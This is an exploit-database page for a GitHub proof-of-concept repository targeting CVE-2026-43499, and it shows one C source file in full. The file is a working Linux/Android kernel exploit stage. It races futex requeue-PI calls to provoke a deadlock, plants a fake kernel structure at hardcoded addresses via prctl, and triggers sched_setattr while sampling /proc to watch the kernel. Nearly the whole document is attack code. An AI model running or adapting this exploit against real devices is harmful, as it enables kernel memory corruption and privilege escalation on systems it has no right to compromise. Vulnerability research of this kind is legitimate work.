Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files269
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/ghostlock_oppo18m1.c

C · 7,706 bytes
/* go18l: 5ms sampler; capture consumer /proc/tid/stack during kernel spin.
 * Build: arm-linux-gnueabihf-gcc -static -O2 -o go18l ghostlock_oppo18l.c -lpthread
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <linux/futex.h>
#include <time.h>

#ifndef SYS_sched_setattr
#define SYS_sched_setattr 380
#endif
#define PR_SET_NAME 15
#define PR_GET_NAME 16
#ifndef FUTEX_WAIT_REQUEUE_PI
#define FUTEX_WAIT_REQUEUE_PI 11
#endif
#ifndef FUTEX_CMP_REQUEUE_PI
#define FUTEX_CMP_REQUEUE_PI 12
#endif
#ifndef FUTEX_LOCK_PI
#define FUTEX_LOCK_PI 6
#endif
#ifndef FUTEX_WAKE
#define FUTEX_WAKE 1
#endif

#define INIT_TASK 0xc1b11640u
#define FAKE_LOCK 0xc1b11484u
#define NODE_OFF  0x1f

struct sched_attr {
    uint32_t size, sched_policy;
    uint64_t sched_flags;
    int32_t sched_nice;
    uint32_t sched_priority;
    uint64_t sched_runtime, sched_deadline, sched_period;
};

static uint32_t f_wait, f_pi_target, f_pi_chain;
static volatile int a_ready, a_tid, a_waiting, b_started;
static volatile int consume, stamp_ready, deadlock_seen;
static volatile int c_tid, c_called, c_done;
static volatile long long t0_ms;
static unsigned char stamp_phase1[16];
struct old_ts32 { int32_t tv_sec, tv_nsec; };

static long long nowms(void){ struct timespec t; clock_gettime(CLOCK_MONOTONIC,&t);
    return (long long)t.tv_sec*1000+t.tv_nsec/1000000; }
static long pi_lock(uint32_t *u){return syscall(SYS_futex,u,FUTEX_LOCK_PI,0,0,0,0);}
static void pin(int cpu){ cpu_set_t s; CPU_ZERO(&s); CPU_SET(cpu,&s); sched_setaffinity(0,sizeof(s),&s); }

static int logfd=-1;
static void LG(const char *fmt,...){
    char b[2200]; va_list ap; va_start(ap,fmt);
    int n=snprintf(b,sizeof(b),"[%6lld] ",nowms()-t0_ms);
    n+=vsnprintf(b+n,sizeof(b)-n,fmt,ap);
    va_end(ap);
    if(n>(int)sizeof(b)-1)n=sizeof(b)-1;
    if(logfd>=0){ int w=write(logfd,b,n); (void)w; fsync(logfd); }
    write(1,b,n);
}
static int readfile(const char *path,char *buf,int n){
    int fd=open(path,O_RDONLY);
    if(fd<0) return -1;
    int l=read(fd,buf,n-1);
    if(l<0) l=0;
    buf[l]=0;
    close(fd);
    return l;
}
static void stat_fields(int tid,char *out,int outlen){
    char path[128],buf[1024];
    snprintf(path,sizeof(path),"/proc/self/task/%d/stat",tid);
    if(readfile(path,buf,sizeof(buf))<0){ snprintf(out,outlen,"stat?"); return; }
    char *rp=strrchr(buf,')');
    if(!rp){ snprintf(out,outlen,"stat?"); return; }
    /* fields after comm start at index 1 (state); split; want state, field39 processor */
    static const char *flds[52]; int nf=0;
    char *save=NULL; char *t=strtok_r(rp+2," ",&save);
    while(t&&nf<52){ flds[nf++]=t; t=strtok_r(NULL," ",&save); }
    /* index: 0=state, 36=processor (field 39 overall, 38 after comm?) */
    snprintf(out,outlen,"state=%s cpu=%s prio=%s pol=%s",
        nf>0?flds[0]:"?", nf>36?flds[36]:"?", nf>17?flds[17]:"?", nf>39?flds[39]:"?");
}

static void *waiter_thread(void *arg){
    struct timespec now; struct old_ts32 ts; unsigned char get[17]; (void)arg;
    pin(3);
    a_tid=(int)syscall(SYS_gettid);
    LG("[W] tid=%d cpu3\n",a_tid);
    pi_lock(&f_pi_chain); a_ready=1; usleep(20000);
    clock_gettime(CLOCK_MONOTONIC,&now);
    int64_t ns=now.tv_nsec+500000000;
    ts.tv_sec=(int32_t)(now.tv_sec+ns/1000000000);
    ts.tv_nsec=(int32_t)(ns%1000000000);
    a_waiting=1;
    long wr=syscall(SYS_futex,&f_wait,FUTEX_WAIT_REQUEUE_PI,0,&ts,&f_pi_target,0);
    LG("[W] futex=%ld errno=%d\n",wr,errno);
    while(!deadlock_seen) pause();
    consume=1;
    long pr=syscall(SYS_prctl,PR_SET_NAME,stamp_phase1,0,0,0);
    memset(get,0,sizeof(get));
    syscall(SYS_prctl,PR_GET_NAME,get,0,0,0);
    LG("[W] prctl=%ld name=",pr);
    { char hx[40]; int n=0; for(int i=0;i<16;i++) n+=snprintf(hx+n,sizeof(hx)-n,"%02x",get[i]);
      LG("%s\n",hx); }
    stamp_ready=1;
    LG("[W] pause loop\n");
    for(;;) pause();
    return NULL;
}
static void *owner_thread(void *arg){
    (void)arg; pin(3);
    pi_lock(&f_pi_target);
    while(!a_ready) usleep(1000);
    b_started=1;
    long r=pi_lock(&f_pi_chain);
    LG("[O] 2nd LOCK_PI=%ld errno=%d\n",r,errno);
    for(;;) pause();
    return NULL;
}
static void *consumer_thread(void *arg){
    struct sched_attr attr; (void)arg; pin(1);
    memset(&attr,0,sizeof(attr));
    attr.size=sizeof(attr); attr.sched_policy=3; attr.sched_nice=19;
    while(!a_tid) usleep(1000);
    while(!consume||!stamp_ready) usleep(1000);
    c_tid=(int)syscall(SYS_gettid);
    c_called=1;
    LG("[C] ctid=%d wtid=%d >> sched_setattr\n",c_tid,a_tid);
    errno=0;
    long r=syscall(SYS_sched_setattr,a_tid,&attr,0);
    LG("[C] << RETURNED %ld errno=%d\n",r,errno);
    c_done=1;
    for(;;) pause();
    return NULL;
}

static void *sampler_thread(void *arg){
    (void)arg; pin(0);
    char path[128], buf[3000], st[256];
    int n=0;
    for(int i=0;;i++){
        if(c_called && !c_done){
            struct utsname u; memset(&u,0,sizeof(u)); uname(&u);
            unsigned char *p=(unsigned char*)u.nodename;
            LG("---- sample %d FAKE=%08x %08x %08x %08x\n",i,
                *(uint32_t*)(p+NODE_OFF),*(uint32_t*)(p+NODE_OFF+4),
                *(uint32_t*)(p+NODE_OFF+8),*(uint32_t*)(p+NODE_OFF+0xc));
            stat_fields(c_tid,st,sizeof(st));
            LG("C %s\n",st);
            snprintf(path,sizeof(path),"/proc/self/task/%d/wchan",c_tid);
            if(readfile(path,buf,sizeof(buf))>=0) LG("C.wchan=%s\n",buf[0]?buf:"(running/0)");
            else LG("C.wchan open fail %d\n",errno);
            snprintf(path,sizeof(path),"/proc/self/task/%d/syscall",c_tid);
            if(readfile(path,buf,sizeof(buf))>=0){buf[strcspn(buf,"\n")]=0;LG("C.sys=%s\n",buf);}
            snprintf(path,sizeof(path),"/proc/self/task/%d/stack",c_tid);
            int l=readfile(path,buf,sizeof(buf));
            if(l>=0) LG("C.stack:\n%s\n",buf);
            else LG("C.stack open fail %d\n",errno);
            usleep(4000);
        } else {
            if((i%25)==0) LG("hb i=%d c=%d sr=%d cc=%d n=%d\n",i,consume,stamp_ready,c_called,n);
            usleep(4000);
        }
    }
    return NULL;
}

int main(void){
    pthread_t th; pthread_attr_t attr;
    setvbuf(stdout,NULL,_IONBF,0);
    pin(2);
    t0_ms=nowms();
    logfd=open("/data/local/tmp/hb.log",O_WRONLY|O_CREAT|O_TRUNC|O_SYNC,0644);
    LG("=== go18l logfd=%d ===\n",logfd);
    uint32_t task=INIT_TASK, lock=FAKE_LOCK, prio=0x0000008bu, pad=0x01010101u;
    memcpy(stamp_phase1+0,&task,4);
    memcpy(stamp_phase1+4,&lock,4);
    memcpy(stamp_phase1+8,&prio,4);
    memcpy(stamp_phase1+12,&pad,3);
    stamp_phase1[15]=0;
    /* m1: NUL inside prio word expected */

    mlockall(MCL_CURRENT|MCL_FUTURE);
    pthread_attr_init(&attr);
    pthread_attr_setstacksize(&attr,1024*1024);
    pthread_create(&th,&attr,sampler_thread,NULL);
    usleep(50000);
    pthread_create(&th,&attr,owner_thread,NULL);
    usleep(10000);
    pthread_create(&th,&attr,consumer_thread,NULL);
    pthread_create(&th,&attr,waiter_thread,NULL);
    while(!a_waiting||!b_started) usleep(1000);

    int got=0;
    for(int i=0;i<220;i++){
        errno=0;
        long r=syscall(SYS_futex,&f_wait,FUTEX_CMP_REQUEUE_PI,1,1,&f_pi_target,0);
        int e=errno;
        if(r<0&&e==35){got=1;break;}
        if(r>0) break;
        usleep(5000);
    }
    syscall(SYS_futex,(int*)&f_wait,FUTEX_WAKE,1,0,0,0);
    deadlock_seen=1;
    LG("[M] EDEADLK=%d wtid=%d\n",got,a_tid);

    for(;;) usleep(1000000);
    return 0;
}